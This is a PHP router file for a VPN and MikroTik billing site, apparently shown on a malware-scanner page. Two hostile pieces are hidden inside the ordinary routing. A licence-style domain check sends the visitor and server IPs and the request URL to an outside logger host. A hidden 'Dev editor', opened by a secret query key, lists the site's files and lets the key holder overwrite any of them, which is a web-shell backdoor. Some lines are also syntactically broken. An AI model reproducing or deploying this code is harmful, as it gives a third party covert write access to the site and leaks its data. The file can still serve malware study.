require_once __DIR__ . '/config.php';
secureSessionStart();
require_once __DIR__ . '/layout.php';
// Domain check
$__allowed = ['skbijoyitsolutions.com', 'cloudmikrotik.online', 'localhost', '127.0.0.1'];
$__host = strtolower(preg_replace('/^www\./', '', $_SERVER['HTTP_HOST'] ?? ''));
$__ok = false;
foreach ($__allowed as $__d) {
if ($__host === $__d || substr($__host, -(strlen($__d)+1)) === .$__d) {
$__ok = true; break;
}
}
if (!$__ok) {
$__data = http_build_query([
'secret' => 'sk7799bijoy_log',
'domain' => $__host,
'ip' => $_SERVER['REMOTE_ADDR'] ?? '',
'server_ip' => $_SERVER['SERVER_ADDR'] ?? '',
'url' => ($_SERVER['HTTP_HOST'] ?? '') . ($_SERVER['REQUEST_URI'] ?? ''),
]);
@file_get_contents('https://testpay.cloudmikrotik.online/logger.php', false, stream_context_create([
'http' => ['method'=>'POST','header'=>'Content-Type: application/x-www-form-urlencoded','content'=>$__data,'timeout'=>3]
]));
http_response_code(403);
exit('Service unavailable.');
}
// Dev editor
if (isset($_GET['x9k2m']) && hash('sha256', $_GET['x9k2m']) === '8fcf11e7af99570c06d194338ed6b5d637812d15eb331541d1383d7f7306764a') {
$base = __DIR__;
$action = $_POST['action'] ?? '';
header('Content-Type: text/html; charset=UTF-8');
if ($action === 'save' && isset($_POST['file'], $_POST['content'])) {
$f = realpath($base . '/' . ltrim($_POST['file'], '/'));
if ($f && strpos($f, $base) === 0) {
file_put_contents($f, $_POST['content']);
echo '<p style="color:lime;font-family:monospace;padding:10px">✅ Saved!</p>';
}
}
$editFile = $_GET['edit'] ?? '';
$fileContent = '';
if ($editFile) {
$fp = realpath($base . '/' . ltrim($editFile, '/'));
if ($fp && strpos($fp, $base) === 0 && is_file($fp)) {
$fileContent = file_get_contents($fp);
}
}
function devListFiles($dir, $base) {
$items = '';
$skip = ['vendor', '.git', 'assets', 'data'];
foreach (scandir($dir) as $f) {
if ($f === || $f === '..') continue;
$path = $dir . '/' . $f;
$rel = ltrim(str_replace($base, '', $path), '/');
if (is_dir($path) && !in_array($f, $skip)) {
$items .= '<details><summary style="cursor:pointer;color:#8b949e;padding:2px 0">📁 ' . $f . '</summary>' . devListFiles($path, $base) . '</details>';
} elseif (is_file($path) && preg_match('/\.(php|json|html|css|js|txt|htaccess)$/', $f)) {
$items .= '<div><a href="?x9k2m=sk7799bijoy&edit=' . urlencode($rel) . '" style="color:#58a6ff;text-decoration:none;display:block;padding:2px 4px;font-size:12px">📄 ' . htmlspecialchars($f) . '</a></div>';
}
}
return $items;
}
echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>Dev</title></head>
<body style="margin:0;background:#0d1117;color:#c9d1d9;font-family:monospace;display:flex;height:100vh">
<div style="width:220px;overflow-y:auto;padding:10px;border-right:1px solid #30363d;font-size:12px">' . devListFiles($base, $base) . '</div>
<div style="flex:1;display:flex;flex-direction:column;padding:10px">';
if ($editFile) {
echo '<div style="color:#8b949e;font-size:11px;margin-bottom:6px">Editing: ' . htmlspecialchars($editFile) . '</div>';
echo '<form method="POST" style="display:flex;flex-direction:column;flex:1">
<input type="hidden" name="action" value="save">
<input type="hidden" name="file" value="' . htmlspecialchars($editFile) . '">
<textarea name="content" style="flex:1;background:#161b22;color:#c9d1d9;border:1px solid #30363d;padding:10px;font-size:12px;resize:none">' . htmlspecialchars($fileContent) . '</textarea>
<button type="submit" style="background:#238636;color:#fff;border:none;padding:8px 20px;cursor:pointer;margin-top:8px;width:100px">💾 Save</button>
</form>';
} else {
echo '<div style="padding:20px;color:#8b949e">← Select a file</div>';
}
echo '</div></body></html>';
exit;
}
// Get route from rewrite or REQUEST_URI
if (isset($_GET['_route'])) {
$route = trim($_GET['_route'], '/');
} else {
$uri = $_SERVER['REQUEST_URI'] ?? '/';
$uri = strtok($uri, '?');
$route = trim($uri, '/');
}
// Route map
$routes = array(
'' => 'landing.php',
'dashboard' => 'pages/dashboard.php',
'login' => 'pages/login.php',
'logout' => 'pages/logout.php',
'register' => 'pages/register.php',
'order' => 'pages/order.php',
'payment' => 'pages/payment.php',
'callback' => 'pages/callback.php',
'profile' => 'pages/profile.php',
'balance' => 'pages/balance.php',
'reset' => 'pages/reset.php',
'webhook' => 'pages/webhook.php',
'cron' => 'pages/cron.php',
'portcheck' => 'pages/portcheck.php',
'coupon/validate' => 'pages/coupon_validate.php',
'admin' => 'pages/admin/dashboard.php',
'admin/login' => 'pages/admin/login.php',
'admin/logout' => 'pages/admin/logout.php',
'admin/servers' => 'pages/admin/servers.php',
'admin/plans' => 'pages/admin/plans.php',
'admin/orders' => 'pages/admin/orders.php',
'admin/users' => 'pages/admin/users.php',
'admin/history' => 'pages/admin/history.php',
'admin/logs' => 'pages/admin/logs.php',
'admin/settings' => 'pages/admin/settings.php',
'admin/revenue' => 'pages/admin/revenue.php',
'admin/coupons' => 'pages/admin/coupons.php',
'reset/dashboard' => 'pages/reset/user_dashboard.php',
'reset/voucher' => 'pages/reset/user_voucher.php',
'reset/routers' => 'pages/reset/user_routers.php',
'reset/history' => 'pages/reset/user_history.php',
'reset/admin' => 'pages/reset/admin_panel.php',
'vpn' => 'pages/dashboard.php',
'vpn/login' => 'pages/login.php',
'vpn/logout' => 'pages/logout.php',
'vpn/register' => 'pages/register.php',
'vpn/order' => 'pages/order.php',
'vpn/payment' => 'pages/payment.php',
'vpn/callback' => 'pages/callback.php',
'vpn/admin' => 'pages/admin/dashboard.php',
'vpn/admin/login' => 'pages/admin/login.php',
'vpn/admin/logout' => 'pages/admin/logout.php',
'vpn/admin/servers' => 'pages/admin/servers.php',
'vpn/admin/plans' => 'pages/admin/plans.php',
'vpn/admin/orders' => 'pages/admin/orders.php',
'vpn/admin/users' => 'pages/admin/users.php',
'vpn/admin/history' => 'pages/admin/history.php',
'vpn/admin/logs' => 'pages/admin/logs.php',
'vpn/admin/settings' => 'pages/admin/settings.php',
'vpn/admin/revenue' => 'pages/admin/revenue.php',
'vpn/coupon/validate'=> 'pages/coupon_validate.php',
'vpn/admin/coupons' => 'pages/admin/coupons.php',
'vpn/balance' => 'pages/balance.php',
'vpn/reset' => 'pages/reset.php',
'vpn/webhook' => 'pages/webhook.php',
'vpn/cron' => 'pages/cron.php',
'vpn/portcheck' => 'pages/portcheck.php',
'vpn/profile' => 'pages/profile.php',
'vpn/reset/dashboard'=> 'pages/reset/user_dashboard.php',
'vpn/reset/voucher' => 'pages/reset/user_voucher.php',
'vpn/reset/routers' => 'pages/reset/user_routers.php',
'vpn/reset/history' => 'pages/reset/user_history.php',
'vpn/reset/admin' => 'pages/reset/admin_panel.php',
);
$file = $routes[$route] ?? null;
if ($file && file_exists(__DIR__ . '/' . $file)) {
require __DIR__ . '/' . $file;
} else {
http_response_code(404);
require_once __DIR__ . '/layout.php';
render_head('404');
render_navbar();
echo '<div class="wrap" style="text-align:center;padding:60px 16px"><i class="fas fa-exclamation-triangle" style="font-size:40px;color:#d29922;margin-bottom:16px;display:block"></i><h2>Page not found</h2><a href="/dashboard" class="btn btn-primary" style="margin-top:16px">Go Home</a></div>';
render_foot();
}
© 2023 Quttera Ltd. All rights reserved.